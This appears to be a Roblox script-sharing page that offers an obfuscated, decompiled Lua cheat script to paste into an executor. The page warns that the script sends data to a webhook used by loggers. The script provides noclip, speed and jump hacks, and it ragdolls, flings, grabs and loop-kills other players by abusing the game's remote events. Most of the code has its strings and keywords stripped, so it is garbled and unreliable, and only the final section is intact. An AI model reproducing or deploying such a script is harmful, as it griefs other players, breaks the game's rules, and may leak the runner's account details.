Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
MoonSec_StringsHiddenAttr = ;
_wURGUJXwOJhV ==
l_Players_0 = :();
l_LocalPlayer_0 = l_Players_0.LocalPlayer;
l_RunService_0 = :();
l_HttpService_0 = :();
l_ReplicatedStorage_0 = :();
_ = :();
l_GrabEvents_0 = l_ReplicatedStorage_0:();
_ = l_ReplicatedStorage_0:();
_ = l_ReplicatedStorage_0:();
l_SetNetworkOwner_0 = l_GrabEvents_0:();
_ = :();
l_TextChatService_0 = :();
l_Players_0.LocalPlayer l_Players_0:():()
_ = l_Players_0.LocalPlayer;
;
l_RagdollRemote_0 = l_ReplicatedStorage_0:():();
v14 = ;
_ = ;
_ = ;
_ = ;
_ = ;
_ = ;
_ = ;
l_LocalPlayer_0.Character
_ = l_LocalPlayer_0.CharacterAdded:();
;
_ = :(l_LocalPlayer_0.Name .. );
l_LocalPlayer_2 = l_Players_0.LocalPlayer;
l_Workspace_0 = :();
( {}).BlobmanDelay = ;
v25 = ;
_ = {};
v27 = ;
v28 = {};
_ = ;
()
v30 = {};
_, v32 (l_Players_0:())
.(v30, v32.Name);
;
v30;
;
()
v34 = ();
_, v36 (v28)
v36:(v34, );
;
;
l_Players_0.PlayerAdded:(v37);
l_Players_0.PlayerRemoving:(v37);
(v38)
.(v28, v38);
v38:((), );
;
v40 = ;
l_Players_0.PlayerAdded:(()
v40
v40:((), );
;
);
l_Players_0.PlayerRemoving:(()
v40
v40:((), );
;
);
(v41)
l_TextChatService_0.ChatVersion == .ChatVersion.TextChatService
l_TextChatService_0.TextChannels.RBXGeneral:(v41);
l_ReplicatedStorage_0.DefaultChatSystemChatEvents.SayMessageRequest:(v41, );
;
;
.(()
();
);
v43 = (:(, ))();
v43:({
Name = ,
Content = ,
Image = ,
Time =
});
v44 = v43:({
Name = ,
HidePremium = ,
SaveConfig = ,
ConfigFolder =
});
v45 = v44:({
Name = ,
Icon = ,
PremiumOnly =
});
_ = v45:({
Name =
});
v47 = {
Walkspeed = ,
WalkspeedValue = ,
InfiniteJump = ,
InfiniteJumpPower = ,
Noclip = ,
Connections = {}
};
l_UserInputService_0 = :();
v47.WalkspeedFunc = ()
v47.Connections.WS
v47.Connections.WS:();
;
v47.Walkspeed
v47.Connections.WS = l_RunService_0.Stepped:(()
p = l_Players_0.LocalPlayer;
p p.Character p.Character:() p.Character:() (v47.WalkspeedValue) ==
h = p.Character.HumanoidRootPart;
u = p.Character:();
h.CFrame = h.CFrame + u.MoveDirection * ( * v47.WalkspeedValue / );
;
);
;
;
v47.InfiniteJumpFunc = ()
v47.Connections.JP
v47.Connections.JP:();
;
v47.InfiniteJump
v47.Connections.JP = l_UserInputService_0.JumpRequest:(()
l_LocalPlayer_3 = l_Players_0.LocalPlayer;
l_LocalPlayer_3 l_LocalPlayer_3.Character l_LocalPlayer_3.Character:()
l_Humanoid_0 = l_LocalPlayer_3.Character:();
l_Humanoid_0:(.HumanoidStateType.Freefall);
.();
l_Humanoid_0:(.HumanoidStateType.Jumping);
l_Humanoid_0.UseJumpPower ==
l_Humanoid_0.JumpHeight = .(v47.InfiniteJumpPower / , , );
l_Humanoid_0.JumpPower = v47.InfiniteJumpPower;
;
;
);
;
;
v47.NoclipFunc = ()
v47.Connections.NC
v47.Connections.NC:();
;
v47.Noclip
v47.Connections.NC = l_RunService_0.Stepped:(()
p = l_Players_0.LocalPlayer;
p p.Character
_, v52 (p.Character:())
v52:()
v52.CanCollide = ;
;
;
;
);
;
;
v45:({
Name = ,
Default = ,
Callback = (v53)
v47.Walkspeed = v53;
v47.();
});
v45:({
Name = ,
Min = ,
Max = ,
Default = ,
Increment = ,
Callback = (v54)
v47.WalkspeedValue = v54;
});
v45:({
Name = ,
Default = ,
Callback = (v55)
v47.InfiniteJump = v55;
v47.();
});
v45:({
Name = ,
Min = ,
Max = ,
Default = ,
Increment = ,
Callback = (v56)
v47.InfiniteJumpPower = v56;
});
v45:({
Name = ,
Default = ,
Callback = (v57)
v47.Noclip = v57;
v47.();
});
v58 = v44:({
Name = ,
Icon = ,
PremiumOnly =
});
_ = v58:({
Name =
});
()
l_RagdollRemote_0
_, v61 (l_Players_0:())
v61.Character v61.Character:()
_ = ,
l_RagdollRemote_0:(v61.Character.HumanoidRootPart, );
();
;
;
;
;
v43:({
Name = ,
Content = ,
Image = ,
Time =
});
;
;
;
v58:({
Name = ,
Callback = ()
();
});
v58:({
Name = ,
Callback = ()
l_Workspace_0.FallenPartsDestroyHeight = -;
});
v64 = {
Players = :(),
ReplicatedStorage = :(),
RunService = :(),
LP = .Players.LocalPlayer
};
v64.spawnGucci = ()
v64.ReplicatedStorage.MenuToys.SpawnToyRemoteFunction:(, .(, , ) * .(-, , ), .(, , ));
;
v64.setup = ()
v64.();
l_Name_0 = v64.LP.Name;
l_l_Workspace_0_0 = l_Workspace_0;
v67 = v64.LP.Character v64.LP.CharacterAdded:();
l_l_l_Workspace_0_0_FirstChild_0 = l_l_Workspace_0_0:(l_Name_0 .. );
v69 = ;
v70 = ;
l_l_l_Workspace_0_0_FirstChild_0
v69 = l_l_l_Workspace_0_0_FirstChild_0:();
;
v69
v70 = v69.(v69, );
;
v70
v70.CFrame = .(, , );
v70.Anchored = ;
;
.();
l_Humanoid_1 = v67:();
l_HumanoidRootPart_0 = v67:();
l_Position_0 = l_HumanoidRootPart_0.Position;
v74 = ;
v75;
v69
v75 = v69.(v69, );
v75 = v69;
;
v75 v75.(v75, )
l_HumanoidRootPart_0.CFrame = v75.CFrame + .(, , );
v75.(v75, l_Humanoid_1);
v74 = ;
;
l_Humanoid_1:():(()
v74 l_Humanoid_1.Jump
.();
l_HumanoidRootPart_0.CFrame = .(l_Position_0);
v74 = ;
;
);
v64.ragdollConn = v64.RunService.Heartbeat:(()
v64.enabled v74
(()
v64.ReplicatedStorage.CharacterEvents.RagdollRemote:(l_l_Workspace_0_0[l_Name_0].HumanoidRootPart, );
);
;
);
v64.posCheckConn = v64.RunService.Heartbeat:(()
v64.enabled (l_HumanoidRootPart_0.Position - l_Position_0).Magnitude <
v74 = ;
;
);
;
v58:({
Name = ,
Default = ,
Callback = (v76)
v64.enabled = v76;
v76
v64.ragdollConn
v64.ragdollConn:();
v64.ragdollConn = ;
;
v64.posCheckConn
v64.posCheckConn:();
v64.posCheckConn = ;
;
v64.();
;
});
v58:({
Name = ,
Callback = ()
_, v78 l_Workspace_0:()
v78.Name ==
v78.VehicleSeat:(.Players.LocalPlayer.Character.Humanoid);
();
.Players.LocalPlayer.Character.Humanoid.Jump = ;
;
;
});
v79 = ;
()
v79 .()
l_LocalPlayer_2:() l_LocalPlayer_2.IsHeld.Value ==
l_Character_0 = l_LocalPlayer_2.Character;
l_Character_0
l_HumanoidRootPart_1 = l_Character_0:();
l_HumanoidRootPart_1
l_HumanoidRootPart_1.Anchored = ;
l_LocalPlayer_2.IsHeld.Value == v79
l_ReplicatedStorage_0.CharacterEvents.Struggle:(l_LocalPlayer_2);
.();
;
l_HumanoidRootPart_1.Anchored = ;
;
;
;
;
;
v58:({
Name = ,
Default = ,
Callback = (v83)
v79 = v83;
v79
.(v82);
;
});
v84 = ;
()
l_Workspace_0.ChildAdded:((v85)
v85:() v85.Name == v84
l_Character_1 = l_LocalPlayer_2.Character;
l_Character_1
l_HumanoidRootPart_2 = l_Character_1:();
l_l_Character_1_FirstChild_0 = l_Character_1:();
l_HumanoidRootPart_2 l_l_Character_1_FirstChild_0 (v85.Position - l_HumanoidRootPart_2.Position).Magnitude <=
l_HumanoidRootPart_2.Anchored = ;
.();
l_l_Character_1_FirstChild_0:() l_l_Character_1_FirstChild_0.RagdollLimbPart.CanCollide ==
.();
;
l_HumanoidRootPart_2.Anchored = ;
;
;
;
);
;
v58:({
Name = ,
Default = ,
Callback = (v90)
v84 = v90;
v84
.(v89);
;
});
v58:({
Name = ,
Default = ,
Callback = (v91)
v92 = {
p = :().LocalPlayer,
rs = :(),
w = :(),
mon = ,
con =
};
v92.ep = v92.w.Map.Hole.PoisonBigHole.ExtinguishPart;
v92.op = v92.ep.Position;
()
l_HumanoidRootPart_3 = (v92.p.Character v92.p.CharacterAdded:()):();
l_FireLight_0 = l_HumanoidRootPart_3:();
l_FireParticleEmitter_0 = l_HumanoidRootPart_3:();
l_FireLight_0 l_FireParticleEmitter_0
v92.ep.CFrame = .(l_HumanoidRootPart_3.Position);
l_FireLight_0 l_FireParticleEmitter_0
.();
l_FireLight_0 = l_HumanoidRootPart_3:();
l_FireParticleEmitter_0 = l_HumanoidRootPart_3:();
v92.ep.CFrame = .(l_HumanoidRootPart_3.Position);
;
v92.ep.CFrame = .(v92.op);
;
;
v92.mon = v91;
v91
v92.con
v92.con = v92.rs.Heartbeat:(()
v92.mon
();
;
);
;
v92.ep.CFrame = .(v92.op);
v92.con
v92.con:();
v92.con = ;
;
;
});
()
l_Character_2 = .Players.LocalPlayer.Character;
l_Character_2
l_HumanoidRootPart_4 = l_Character_2:();
l_Humanoid_2 = l_Character_2:();
v100 = .Players.LocalPlayer:() .Players.LocalPlayer.PlayerScripts:();
l_HumanoidRootPart_4 l_Humanoid_2 v100
v100.Disabled = antiLagT;
;
;
;
v58:({
Name = ,
Default = ,
Callback = (v102)
antiLagT = v102;
();
});
()
l_Character_3 = l_LocalPlayer_0.Character;
l_Character_3
l_HumanoidRootPart_5 = l_Character_3:();
l_HumanoidRootPart_5
_, v106 (l_Workspace_0:())
v106:() (v106.Name == v106.Name == ) (l_HumanoidRootPart_5.Position - v106.Position).Magnitude >
v106:();
;
;
;
;
;
;
;
;
()
v14
l_LocalPlayer_0.Character
_, v109 (l_LocalPlayer_0.Character:())
v109:() v109.Massless
v109.Massless = ;
;
;
;
.();
;
;
v58:({
Name = ,
Default = ,
Callback = (v111)
v14 = v111;
v14
.(()
v14
();
.();
;
);
.(v110);
;
});
v112 = v44:({
Name = ,
Icon = ,
PremiumOnly =
});
_ = v112:({
Name =
});
l_Players_1 = :();
l_RunService_1 = :();
l_l_Workspace_0_1 = l_Workspace_0;
l_ReplicatedStorage_1 = .ReplicatedStorage;
l_LocalPlayer_4 = l_Players_1.LocalPlayer;
v119 = {};
v120 = ;
v121 = {
E = ,
S = ,
D = ,
Off = .(, -, ),
H = ,
Del =
};
v122 = {
E = ,
S = ,
D = ,
Off = .(, -, ),
H = ,
Del =
};
(v123)
v124 = {};
_, v126 (l_Players_1:())
.(v124, v126.Name);
;
v123:(v124, );
;
(v128)
_, v130 (v128:())
v130:()
v130.CanCollide = ;
;
;
;
(v132, v133)
(v133.Parent);
v134 = .(, v132);
v135 = .(, , );
v134.MaxForce = .(.huge, .huge, .huge);
v134.Velocity = v135;
v135 = ;
v133.Jump = ;
v133.Sit = v135;
.(, ()
v134.Parent
v134:();
;
);
;
(v137, v138)
v139 = v137.Character v137.Character:();
v139 v138 >= v139.Position.Y
_ = ;
;
;
;
(v142)
l_Character_4 = l_LocalPlayer_4.Character;
l_Character_4 l_Character_4:()
v142.S = l_Character_4:();
;
;
(v145)
l_Character_5 = l_LocalPlayer_4.Character;
v147 = l_Character_5 l_Character_5:();
v147 v145.S (v147.Position - v145.S.Position).Magnitude > v145.D
l_Character_5:(v145.S);
;
;
(v149, v150, v151)
v150.E
;
l_l_Workspace_0_1:() l_l_Workspace_0_1.PlotItems.PlayersInPlots:(v149.Name)
l_Character_6 = v149.Character;
v153 = l_Character_6 l_Character_6:();
v154 = l_Character_6 l_Character_6:();
v155 = l_Character_6 l_Character_6:();
v153 v154 v155 v154.Health > (v149, v150.H)
l_Character_7 = l_LocalPlayer_4.Character;
(l_Character_7 l_Character_7:())
;
(()
(v150);
l_Character_7:(.(v153.Position + v150.Off));
(l_Character_6);
l_ReplicatedStorage_1.GrabEvents.SetNetworkOwner:(v153, v153.CFrame);
.();
(v150);
.();
l_ReplicatedStorage_1.GrabEvents.DestroyGrabLine:(v153);
.();
v155:() v155.PartOwner.Value == l_LocalPlayer_4.Name
(v153, v154);
v151
.();
v154.Health = ;
;
;
);
.(v150.Del);
;
;
;
;
;
;
;
(v158, v159)
(v158);
v160 (v119)
v158.E
l_l_Players_1_FirstChild_0 = l_Players_1:(v160);
l_l_Players_1_FirstChild_0
(l_l_Players_1_FirstChild_0, v158, v159);
;
;
;
;
;
(v163, v164)
(l_RunService_1.Heartbeat:(()
v163.E
(v163, v164);
;
));
;
v166 = ;
v167 = ;
v168 = ;
v169 = ;
(v170, v171)
v171.E = ;
v170
v170:();
;
v171.S = ;
;
SelectDropdown = v112:({
Name = ,
Options = {},
Callback = (v173)
v120 = l_Players_1:(v173);
});
LoopDropdown = v112:({
Name = ,
Options = {},
Callback = (v174)
v120 = l_Players_1:(v174);
});
v112:({
Name = ,
Callback = ()
v120 v119[v120.Name]
v119[v120.Name] = ;
(LoopDropdown);
;
});
v112:({
Name = ,
Callback = ()
v120 v119[v120.Name]
v119[v120.Name] = ;
v120 = ;
(SelectDropdown);
(LoopDropdown);
;
});
v112:({
Name = ,
Callback = (v175)
v121.E = v175;
v175
(v166, v121);
v166 = (v121, );
;
});
v112:({
Name = ,
Callback = (v176)
v122.E = v176;
v176
v167 = (v122, );
(v167, v122);
;
});
l_Players_1.PlayerAdded:(()
(SelectDropdown);
);
l_Players_1.PlayerRemoving:((v177)
v119[v177.Name]
v119[v177.Name] = ;
(LoopDropdown);
;
(SelectDropdown);
);
(SelectDropdown);
(LoopDropdown);
v112:({
Name = ,
Callback = (v178)
v178
(v168, v121);
(v166, v121);
v168 = l_RunService_1.Heartbeat:(()
(v121);
_, v180 (l_Players_1:())
v180 ~= l_LocalPlayer_4
(v180, v121, );
;
;
);
;
});
v112:({
Name = ,
Callback = (v181)
v181
(v167, v122);
v169 = l_RunService_1.Heartbeat:(()
(v122);
_, v183 (l_Players_1:())
v183 ~= l_LocalPlayer_4
(v183, v122, );
;
;
);
(v169, v122);
;
});
_ = v112:({
Name =
});
v185 = ;
()
v185
;
l_Workspace_0.ChildAdded:((v186)
v186:() v186.Name == v185
l_GrabPart_0 = v186:();
l_GrabPart_0 l_GrabPart_0:()
l_Part1_0 = l_GrabPart_0.WeldConstraint.Part1;
l_Part1_0 l_Part1_0.Parent l_Part1_0.Parent ~= l_LocalPlayer_2.Character
l_Humanoid_3 = l_Part1_0.Parent:();
l_Humanoid_3
l_Humanoid_3.Health = ;
;
;
;
;
);
;
;
;
v112:({
Name = ,
Default = ,
Callback = (v191)
v185 = v191;
();
});
v192 = {
S = :(),
A = :(),
W = :(),
R = :(),
D = :(),
P = :(),
Enabled = ,
Strength = ,
UI = {}
};
(v193)
v192.Enabled
;
v193.Name ~=
;
l_GrabPart_1 = v193:();
l_GrabPart_1 l_GrabPart_1:()
;
l_Part1_1 = l_GrabPart_1.WeldConstraint.Part1;
l_Part1_1
;
l_BodyVelocity_0 = .();
l_BodyVelocity_0.MaxForce = .(, , );
l_BodyVelocity_0.Parent = l_Part1_1;
v197 = ;
v198 = ;
v199 = ;
v200 = ;
v197 v193.Parent v192.Enabled
_, v202 (v192.P.LocalPlayer.PlayerGui.ContextActionGui:())
v202:() v202.Image ==
v197 = v202.Parent;
;
;
;
v192.R.Heartbeat:();
;
v197 v192.Enabled
()
l_BodyVelocity_0.MaxForce = .(.huge, .huge, .huge);
l_BodyVelocity_0.Velocity = v192.W.CurrentCamera.CFrame.LookVector * v192.Strength;
;
v198 = v197.MouseButton1Up:(v203);
v199 = v197.MouseButton1Down:(v203);
;
v200 = v193:():(()
v193.Parent
v198
v198:();
;
v199
v199:();
;
v200
v200:();
;
v192.D:(l_BodyVelocity_0, );
;
);
;
;
;
;
;
(v205)
v205
v192.GrabConn
v192.GrabConn:();
v192.GrabConn = ;
;
v192.GrabConn = v192.W.ChildAdded:(v204);
;
;
v112:({
Name = ,
Default = ,
Callback = (v207)
v192.Enabled = v207;
(v207);
});
v112:({
Name = ,
Min = ,
Max = ,
Default = v192.Strength,
Increment = ,
Callback = (v208)
v192.Strength = v208;
});
l_LocalPlayer_5 = :().LocalPlayer;
_ = v112:({
Name =
});
v211 = {
P = :(),
RS = :(),
W = l_Workspace_0,
LP = :().LocalPlayer,
Toy = :():(),
Set = :():():(),
TP = ,
TE = ,
SE = ,
AE = ,
DD = ,
R = {}
};
()
v212 = {};
_, v214 (v211.P:())
v214 ~= v211.LP
.(v212, v214.Name);
;
;
v212;
;
()
v211.DD
v211.DD:((), );
;
;
v211.P.PlayerAdded:(v216);
v211.P.PlayerRemoving:(v216);
(v217, v218)
.(()
v211.Toy:():(v217, .(v218), .());
);
;
()
v211.AE
l_FirstChild_0 = v211.W:(v211.LP.Name .. );
l_FirstChild_0
_, v222 (v211.R)
l_Character_8 = v222.Character;
v224 = l_Character_8 l_Character_8:();
v224
_, v226 (l_FirstChild_0:())
v226:() v226.Name ==
_, v228 (v226:())
v228:()
v228.Position = v224.Position;
;
;
;
;
;
;
;
.();
;
;
()
v211.AE
v211.R = {};
_, v231 (v211.P:())
v231 ~= v211.LP v231.Character
l_Humanoid_4 = v231.Character:();
l_Humanoid_4 l_Humanoid_4.SeatPart l_Humanoid_4.SeatPart.Parent.Name ==
.(v211.R, v231);
v233 = v211.LP.Character v211.LP.Character:();
v233
(, v233.Position + .(, , ));
;
;
;
;
.();
;
;
()
v211.SE
v235 = v211.LP.Character v211.LP.Character:();
v235
(, v235.Position + .(, , ));
;
.();
;
;
()
v211.TE
l_FirstChild_1 = v211.W:(v211.LP.Name .. );
l_FirstChild_1 v211.TP
v238 = v211.P:(v211.TP) v211.P[v211.TP].Character;
v239 = v238 v238:();
v239
_, v241 (l_FirstChild_1:())
v241:() v241.Name ==
_, v243 (v241:())
v243:()
v243.Position = v239.Position;
;
;
;
;
;
;
.();
;
;
v112:({
Name = ,
Options = (),
Callback = (v245)
v211.TP = v245;
});
v112:({
Name = ,
Callback = (v246)
v211.TE = v246;
v246
.(v244);
;
});
v112:({
Name = ,
Callback = (v247)
v211.SE = v247;
v247
.(v236);
;
});
v112:({
Name = ,
Callback = (v248)
v211.AE = v248;
v248
.(v234);
.(v229);
;
});
:()
.Loaded:();
;
protectgui
().protectgui = ()
;
;
v249 = v44:({
Name = ,
Icon = ,
PremiumOnly =
});
_ = v249:({
Name =
});
v251 = {
Players = :(),
ReplicatedStorage = :(),
Workspace = :(),
LocalPlayer = ,
TargetList = v47.TargetList {},
selectedPlayer = ,
toggleEnabled = ,
teleportAllEnabled = ,
teleportDelay = ,
currentBlobman = ,
masterRunning = ,
blobalter = ,
ORIGIN_POS = ,
MAX_TELEPORT_DIST = ,
targetPlayerDropdown =
};
v251.LocalPlayer = v251.Players.LocalPlayer;
v47.TargetList = v251.TargetList;
()
v252 = {};
_, v254 (v251.Players:())
v254 ~= v251.LocalPlayer
.(v252, v254.Name);
;
;
v252;
;
()
v251.targetPlayerDropdown
v251.targetPlayerDropdown:((), );
;
;
v251.targetPlayerDropdown = v249:({
Name = ,
Default = ,
Options = (),
Callback = (v257)
v251.selectedPlayer = v251.Players:(v257);
});
(v251.targetPlayerDropdown);
v249:({
Name = ,
Callback = ()
v251.selectedPlayer v251.TargetList[v251.selectedPlayer.UserId]
v251.TargetList[v251.selectedPlayer.UserId] = v251.selectedPlayer.Name;
v43:({
Name = ,
Content = v251.selectedPlayer.Name .. ,
Time =
});
;
});
v249:({
Name = ,
Callback = ()
v251.selectedPlayer v251.TargetList[v251.selectedPlayer.UserId]
v251.TargetList[v251.selectedPlayer.UserId] = ;
v43:({
Name = ,
Content = v251.selectedPlayer.Name .. ,
Time =
});
;
});
(v258, v259)
v25 ~=
v258.Character v258.Character:()
v260 = {
v259:(),
v258.Character:(),
v259:():()
};
v259:():():((v260));
v25 = ;
;
v258.Character v258.Character:()
v261 = {
v259:(),
v258.Character:(),
v259:():()
};
v259:():():((v261));
v25 = ;
;
;
()
l_Character_9 = l_LocalPlayer_0.Character;
l_Character_9
l_Humanoid_5 = l_Character_9:();
l_Humanoid_5 l_Humanoid_5.SeatPart l_Humanoid_5.SeatPart.Parent.Name ==
l_Humanoid_5.SeatPart.Parent;
;
;
;
;
(v266, v267)
v268 = l_LocalPlayer_0.Character l_LocalPlayer_0.Character:();
v268
;
l_BodyPosition_0 = .();
l_BodyPosition_0.MaxForce = .(.huge, .huge, .huge);
l_BodyPosition_0.P = ;
l_BodyPosition_0.Position = v267;
l_BodyPosition_0.Parent = v266.PrimaryPart;
v268.CFrame = .(v267);
v266:(.(v267));
.();
l_BodyPosition_0:();
;
;
;
()
.(()
v14
v271 = ;
_, v273 (l_Workspace_0:())
v273.Name == v273:() v273.VehicleSeat:() v273.VehicleSeat.SeatWeld.Part1:(l_LocalPlayer_5.Character)
v271 = v273;
;
;
;
v271
v43:({
Name = ,
Content = ,
Time =
});
v14 = ;
;
v274, _ (v47.TargetList)
l_l_Players_0_PlayerByUserId_0 = l_Players_0:(v274);
l_l_Players_0_PlayerByUserId_0
(l_l_Players_0_PlayerByUserId_0, v271);
.(v47.BlobmanDelay );
;
;
.();
;
;
;
;
);
;
(v278, v279, v280)
l_LocalPlayer_0.Character l_LocalPlayer_0.Character:() v278.Character v278.Character:()
;
l_HumanoidRootPart_6 = v278.Character.HumanoidRootPart;
(l_HumanoidRootPart_6.Position - v280).Magnitude >
v282 = l_HumanoidRootPart_6.Position + .(, , );
(v279, v282);
.();
(v278, v279);
.();
(v279, v280);
.();
(l_HumanoidRootPart_6.Position - v280).Magnitude >
;
;
;
;
;
;
;
()
.(()
v14
v284 = ();
v285 = l_LocalPlayer_0.Character l_LocalPlayer_0.Character:();
v284 v285
l_Position_1 = v285.Position;
v287, _ (v47.TargetList)
l_l_Players_0_PlayerByUserId_1 = l_Players_0:(v287);
l_l_Players_0_PlayerByUserId_1 l_l_Players_0_PlayerByUserId_1.Character l_l_Players_0_PlayerByUserId_1.Character:() (l_l_Players_0_PlayerByUserId_1.Character.HumanoidRootPart.Position - l_Position_1).Magnitude >
v290 = ;
v291 = ;
v14 v290 v291 <
v290 = (l_l_Players_0_PlayerByUserId_1, v284, l_Position_1);
v291 = v291 + ;
v290
.();
;
;
;
;
;
.();
;
);
;
v249:({
Name = ,
Default = ,
Callback = (v293)
v14 = v293;
v293
();
();
;
});
(v294)
v295 = RaycastParams.();
v295.FilterDescendantsInstances = {
v251.LocalPlayer.Character
};
v295.FilterType = .RaycastFilterType.Blacklist;
v296 = v251.Workspace:(v294 + .(, , ), .(, -), v295);
v296 v296.Position v294;
;
()
v298 = v251.LocalPlayer.Character v251.LocalPlayer.Character:();
v298
v299 = (v298.Position);
v300 = .(v299 + .(, , ));
(()
v251.ReplicatedStorage.MenuToys.SpawnToyRemoteFunction:(, v300, .(, , ));
);
v301 = v251.LocalPlayer.Name .. ;
_ = ,
l_FirstChild_2 = v251.Workspace:(v301);
l_FirstChild_2
l_CreatureBlobman_0 = l_FirstChild_2:();
l_CreatureBlobman_0
v251.blobalter = ;
l_CreatureBlobman_0;
;
;
.();
;
;
;
;
;
()
l_FirstChild_3 = v251.Workspace:(v251.LocalPlayer.Name .. );
l_FirstChild_3 l_FirstChild_3:() ;
;
()
l_Character_10 = v251.LocalPlayer.Character;
l_Character_10
l_Humanoid_6 = l_Character_10:();
l_Humanoid_6 l_Humanoid_6.SeatPart l_Humanoid_6.SeatPart.Parent l_Humanoid_6.SeatPart.Parent.Name ==
l_Humanoid_6.SeatPart.Parent;
;
;
;
;
;
(v311)
v311 v251.LocalPlayer.Character
;
l_Character_11 = v251.LocalPlayer.Character;
l_Humanoid_7 = l_Character_11:();
l_HumanoidRootPart_7 = l_Character_11:();
l_Humanoid_7 l_HumanoidRootPart_7
l_VehicleSeat_0 = v311:();
l_VehicleSeat_0 l_VehicleSeat_0:()
l_HumanoidRootPart_7.CFrame = l_VehicleSeat_0.CFrame + .(, , );
(()
l_VehicleSeat_0:(l_Humanoid_7);
);
.();
;
;
;
;
;
;
(v317, v318)
v317 v317.PrimaryPart
;
l_Character_12 = v251.LocalPlayer.Character;
l_Character_12
l_HumanoidRootPart_8 = l_Character_12:();
l_HumanoidRootPart_8
l_BodyPosition_1 = .();
l_BodyPosition_1.MaxForce = .(.huge, .huge, .huge);
l_BodyPosition_1.P = ;
l_BodyPosition_1.Position = v318;
l_BodyPosition_1.Parent = v317.PrimaryPart;
(()
l_HumanoidRootPart_8.CFrame = .(v318);
v317:(.(v318));
);
.();
l_BodyPosition_1 l_BodyPosition_1.Parent
l_BodyPosition_1:();
;
;
;
;
;
;
;
;
(v323, v324)
v323 v324
;
v323.Character v323.Character:()
l_LeftDetector_0 = v324:();
l_RightDetector_0 = v324:();
l_BlobmanSeatAndOwnerScript_0 = v324:();
l_BlobmanSeatAndOwnerScript_0
l_CreatureGrab_0 = l_BlobmanSeatAndOwnerScript_0:();
l_CreatureGrab_0
v251.blobalter ==
v329 = l_LeftDetector_0 l_LeftDetector_0:();
l_v329_0 = v329;
l_LeftDetector_0 l_v329_0
(()
l_CreatureGrab_0:(l_LeftDetector_0, v323.Character.HumanoidRootPart, l_v329_0);
);
v251.blobalter = ;
;
;
v331 = l_RightDetector_0 l_RightDetector_0:();
l_v331_0 = v331;
l_RightDetector_0 l_v331_0
(()
l_CreatureGrab_0:(l_RightDetector_0, v323.Character.HumanoidRootPart, l_v331_0);
);
v251.blobalter = ;
;
;
;
return;
else
return;
end;
else
return;
end;
else
return;
end;
end;
local function v342(v334, v335, v336, v337)
-- upvalues: v251 (ref), v333 (ref), v322 (ref)
if not v337 then
v337 = 20;
end;
if v334 and v335 and v336 then
if v334.Character and v334.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_9 = v334.Character.HumanoidRootPart;
local l_Magnitude_0 = (l_HumanoidRootPart_9.Position - v336).Magnitude;
if not v251.ORIGIN_POS or (l_HumanoidRootPart_9.Position - v251.ORIGIN_POS).Magnitude <= v251.MAX_TELEPORT_DIST then
if l_Magnitude_0 <= v337 then
v333(v334, v335);
task.wait(0.1);
return true;
else
local v340 = l_HumanoidRootPart_9.Position + Vector3.new(0, 2, 0);
v322(v335, v340);
task.wait(0.2);
v333(v334, v335);
task.wait(0.2);
v322(v335, v336);
task.wait(0.2);
if v334.Character and v334.Character:FindFirstChild("HumanoidRootPart") then
if (v334.Character.HumanoidRootPart.Position - v336).Magnitude > v337 then
local _ = false;
end;
return true;
else
return false;
end;
end;
else
return false;
end;
else
return false;
end;
else
return false;
end;
end;
local function v358(v343, v344, v345)
-- upvalues: v251 (ref), v322 (ref), v333 (ref)
if v343 and v343.Character and v344 and v344.Parent then
local l_HumanoidRootPart_10 = v343.Character:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_10 then
local l_BlobmanSeatAndOwnerScript_1 = v344:FindFirstChild("BlobmanSeatAndOwnerScript");
if l_BlobmanSeatAndOwnerScript_1 then
local l_CreatureDrop_0 = l_BlobmanSeatAndOwnerScript_1:FindFirstChild("CreatureDrop");
local l_CreatureGrab_1 = l_BlobmanSeatAndOwnerScript_1:FindFirstChild("CreatureGrab");
if not l_CreatureDrop_0 or not l_CreatureGrab_1 then
return;
else
for v350 = 1, 4 do
if v251.toggleEnabled then
local v351 = (v345 or v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and v251.LocalPlayer.Character.HumanoidRootPart.Position or Vector3.new()) + Vector3.new(0, 10 * v350, 0);
if v344 and v344.PrimaryPart then
v322(v344, v351);
end;
task.wait(0.1);
local l_LeftDetector_1 = v344:FindFirstChild("LeftDetector");
local l_RightDetector_1 = v344:FindFirstChild("RightDetector");
local v354 = l_LeftDetector_1 and (l_LeftDetector_1:FindFirstChild("RigidConstraint") or l_LeftDetector_1:FindFirstChild("LeftWeld"));
local v355 = l_RightDetector_1 and (l_RightDetector_1:FindFirstChild("RightWeld") or l_RightDetector_1:FindFirstChild("RigidConstraint"));
do
local l_v354_0, l_v355_0 = v354, v355;
if l_v354_0 then
pcall(function()
-- upvalues: l_CreatureDrop_0 (ref), l_v354_0 (ref), l_HumanoidRootPart_10 (ref)
l_CreatureDrop_0:FireServer(l_v354_0, l_HumanoidRootPart_10);
end);
end;
if l_v355_0 then
pcall(function()
-- upvalues: l_CreatureDrop_0 (ref), l_v355_0 (ref), l_HumanoidRootPart_10 (ref)
l_CreatureDrop_0:FireServer(l_v355_0, l_HumanoidRootPart_10);
end);
end;
task.wait(0.1);
v333(v343, v344);
task.wait(0.1);
end;
else
break;
end;
end;
return;
end;
else
return;
end;
else
return;
end;
else
return;
end;
end;
local function v384()
-- upvalues: v251 (ref), v47 (ref), v307 (ref), v305 (ref), v310 (ref), v316 (ref), v342 (ref), v358 (ref), v333 (ref)
if not v251.masterRunning then
v251.masterRunning = true;
local l_Character_13 = v251.LocalPlayer.Character;
local v360 = l_Character_13 and l_Character_13:FindFirstChild("HumanoidRootPart");
if v360 then
v251.ORIGIN_POS = v360.Position;
end;
v47.LastProcessed = v47.LastProcessed or {};
task.spawn(function()
-- upvalues: v251 (ref), v307 (ref), v305 (ref), v310 (ref), v316 (ref), v47 (ref), v342 (ref), v358 (ref), v333 (ref)
local v361 = false;
while v251.toggleEnabled do
if not v251.currentBlobman or v251.currentBlobman and not v251.currentBlobman.Parent then
v251.currentBlobman = v307();
end;
if not v251.currentBlobman or v251.currentBlobman and not v251.currentBlobman.Parent then
local v362 = v305();
if v362 then
v251.currentBlobman = v362;
task.wait(0.25);
end;
end;
if v251.currentBlobman and v251.currentBlobman.Parent then
local v363 = v310();
if not v363 or v363 ~= v251.currentBlobman then
local v364 = os.clock();
while v251.toggleEnabled and (not v363 or v363 ~= v251.currentBlobman) do
v316(v251.currentBlobman);
task.wait(0.25);
v363 = v310();
if v363 ~= v251.currentBlobman then
